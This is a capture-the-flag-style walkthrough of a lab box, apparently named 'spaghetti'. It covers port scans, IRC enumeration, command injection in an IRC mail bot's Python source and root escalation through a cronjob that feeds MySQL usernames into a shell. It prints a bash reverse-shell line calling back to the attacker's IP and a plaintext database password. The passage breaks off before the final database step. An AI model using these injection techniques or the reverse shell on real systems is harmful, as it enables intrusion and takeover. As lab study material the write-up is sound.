$ nmap -p- --min-rate 3000 -Pn 192.168.208.160
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 11:31 +08
Nmap scan report for 192.168.208.160
Host is up (0.18s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
6667/tcp open irc
8080/tcp open http-proxy
IRC is open on this device, which is rather unusual. I did a detailed scan too:
$ nmap -p 25,80,6667,8080 -sC -sV --min-rate 3000 192.168.208.160
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-21 11:33 +08
Nmap scan report for 192.168.208.160
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: spaghetti.lan, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
| ssl-cert: Subject: commonName=spaghetti.lan
| Subject Alternative Name: DNS:spaghetti.lan
| Not valid before: 2021-03-09T11:39:07
|_Not valid after: 2031-03-07T11:39:07
|_ssl-date: TLS randomness does not represent time
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Spaghetti Mail
6667/tcp open irc
| irc-info:
| users: 2
| servers: 1
| chans: 1
| lusers: 2
| lservers: 0
| server: irc.spaghetti.lan
| version: InspIRCd-3. irc.spaghetti.lan
| source ident: nmap
| source host: 192.168.45.153
|_ error: Closing link: (nmap@192.168.45.153) [Client exited]
8080/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: Postfix Admin - 192.168.208.160:8080
|_Requested resource was login.php
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
Port 6667 is indeed running IRC, and it has some functionality.
Web Enum
Port 80 was entirely static.
Port 8080 was running a non-vulnerable version of Postfix, with a login page:
I had no credentials, so let's move on first.
IRC -> Source Code -> RCE
I used nc to first enumerate the IRC server. Initially when connecting, it tells me that it cannot resolve my hostname, which we can fix by using NICK.
It will then send this when we register a user:
USER ran213eqdw123 0 * ran213eqdw123
:irc.spaghetti.lan 001 patrick :Welcome to the Localnet IRC Network patrick!ran213eqdw@192.168.45.153
:irc.spaghetti.lan 002 patrick :Your host is irc.spaghetti.lan, running version InspIRCd-3
:irc.spaghetti.lan 003 patrick :This server was created 19:49:00 Feb 20 2023
:irc.spaghetti.lan 004 patrick irc.spaghetti.lan InspIRCd-3 iosw biklmnopstv :bklov
:irc.spaghetti.lan 005 patrick AWAYLEN=200 CASEMAPPING=rfc1459 CHANLIMIT=#:20 CHANMODES=b,k,l,imnpst CHANNELLEN=64 CHANTYPES=# ELIST=CMNTU HOSTLEN=64 KEYLEN=32 KICKLEN=255 LINELEN=512 MAXLIST=b:100 :are supported by this server
:irc.spaghetti.lan 005 patrick MAXTARGETS=20 MODES=20 NETWORK=Localnet NICKLEN=30 PREFIX=(ov)@+ SAFELIST STATUSMSG=@+ TOPICLEN=307 USERLEN=10 WHOX :are supported by this server
:irc.spaghetti.lan 251 patrick :There are 1 users and 0 invisible on 1 servers
:irc.spaghetti.lan 253 patrick 1 :unknown connections
:irc.spaghetti.lan 254 patrick 1 :channels formed
:irc.spaghetti.lan 255 patrick :I have 1 clients and 0 servers
:irc.spaghetti.lan 265 patrick :Current local users: 1 Max: 2
:irc.spaghetti.lan 266 patrick :Current global users: 1 Max: 2
:irc.spaghetti.lan 375 patrick :irc.spaghetti.lan message of the day
:irc.spaghetti.lan 372 patrick :- **************************************************
:irc.spaghetti.lan 372 patrick :- * H E L L O *
:irc.spaghetti.lan 372 patrick :- * This is a private irc server. Please contact *
:irc.spaghetti.lan 372 patrick :- * the admin of the server for any questions or *
:irc.spaghetti.lan 372 patrick :- * issues. *
:irc.spaghetti.lan 372 patrick :- **************************************************
:irc.spaghetti.lan 372 patrick :- * The software was provided as a package of *
:irc.spaghetti.lan 372 patrick :- * Debian GNU/Linux <https://www.debian.org/>. *
:irc.spaghetti.lan 372 patrick :- * However, Debian has no control over this *
:irc.spaghetti.lan 372 patrick :- * server. *
:irc.spaghetti.lan 372 patrick :- **************************************************
:irc.spaghetti.lan 372 patrick :- (The sysadmin possibly wants to edit </etc/inspircd/inspircd.motd>)
:irc.spaghetti.lan 376 patrick :End of message of the day.
Seems like we have a functioning IRC server here. I first listed the channels available:
LIST
:irc.spaghetti.lan 321 ran213eqdw123 Channel :Users Name
:irc.spaghetti.lan 322 ran213eqdw123 #mailAssistant 1 :[+nt]
:irc.spaghetti.lan 323 ran213eqdw123 :End of channel list.
I decided to use a GUI tool called pidgin to connect to the IRC server instead. We just have to add irc.spaghetti.lan to our /etc/hosts file. I used the same username as per what I nicked myself earlier.
Then, I went to Conversations > Join a Chat and used #mailAssistant as the channel name to join. This dropped me within another chat group with a bot.
Looks like we have some source code reviewing to do. There was one function within the irc_bot.py script that had the send_message function:
defsend_message (recipient,subject,body): cmd="echo {} | mail -s '{}' {}".format(body,subject, recipient) process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)regex ="^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}\$"## at end of script, it shows how input is retrieved.if"PRIVMSG"in text and"email"in text and"description"in text: email = text.split("email",1)[1].split(":",1)[1].split()[0]ifcheck(email)==True: description = text.split("description",1)[1].split(":",1)[1] body = description.rstrip() subject ="email from {}".format(email)send_message (recipient, subject, body) irc.send(channel, user, "Email sent to administrator. Thank you.")else: irc.send(channel, user, "Please insert a valid mail address !")
The parameters are not sanitised at all. As such, we can attempt to chain commands using && to inject commands into the script since it passes these arguments to shell commands.
Privilege Escalation
Cronjob -> MySQL Shell Injection
I ran linpeas.sh to enumerate, and it picked up on a cronjob running:
root is running a certain script. Here's the script contents:
#!/bin/bash#Adapt to your setupPOSTFIX_DB="postfixadmin"MYSQL_CREDENTIALS_FILE="/root/postfixadmin.my.cnf"REPLY_ADDRESS=noreply@spaghetti.lan# Change this list to change notification times and when ...for INTERVAL in30147do LOWER=$(( $INTERVAL -1 )) QUERY="SELECT username,password_expiry FROM mailbox WHERE password_expiry > now() + interval $LOWER DAY AND password_expiry < NOW() + interval $INTERVAL DAY"mysql--defaults-extra-file="$MYSQL_CREDENTIALS_FILE""$POSTFIX_DB"-B-e"$QUERY"|whileread-aRESULT ; doecho-e"Dear User, \n Your password will expire on ${RESULT[1]}"|mail-s"Password 30 days before expiration notication"-r $REPLY_ADDRESS ${RESULT[0]}donedone
The script basically sends emails to users. However, I noticed that the parameters from the MySQL database aren't sanitised at all, and passed directly into the mail command. This opens up a chance for injecting some commands. ${RESULT[0]} is the parameter that is vulnerable, and it is the username parameter from the database.
To exploit this, we can first put a reverse shell script within the host and chmod it:
#!/bin/bashbash-i>&/dev/tcp/192.168.45.153/210>&1
Now, we need to find SQL credentials, which might be located within the Postfix files based on the name of the file root uses. I found it within the /var/www/postfixadmin/config.local.php file:
From here, we can login to the database and use the postfixadmin database.
hostmaster@spaghetti:/var/www/postfixadmin$ mysql -u postfixadmin -pP4s8vV0r6
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 139
Server version: 8.0.23-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use postfixadmin;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
The script uses the mailbox table, so we can update the entries within it: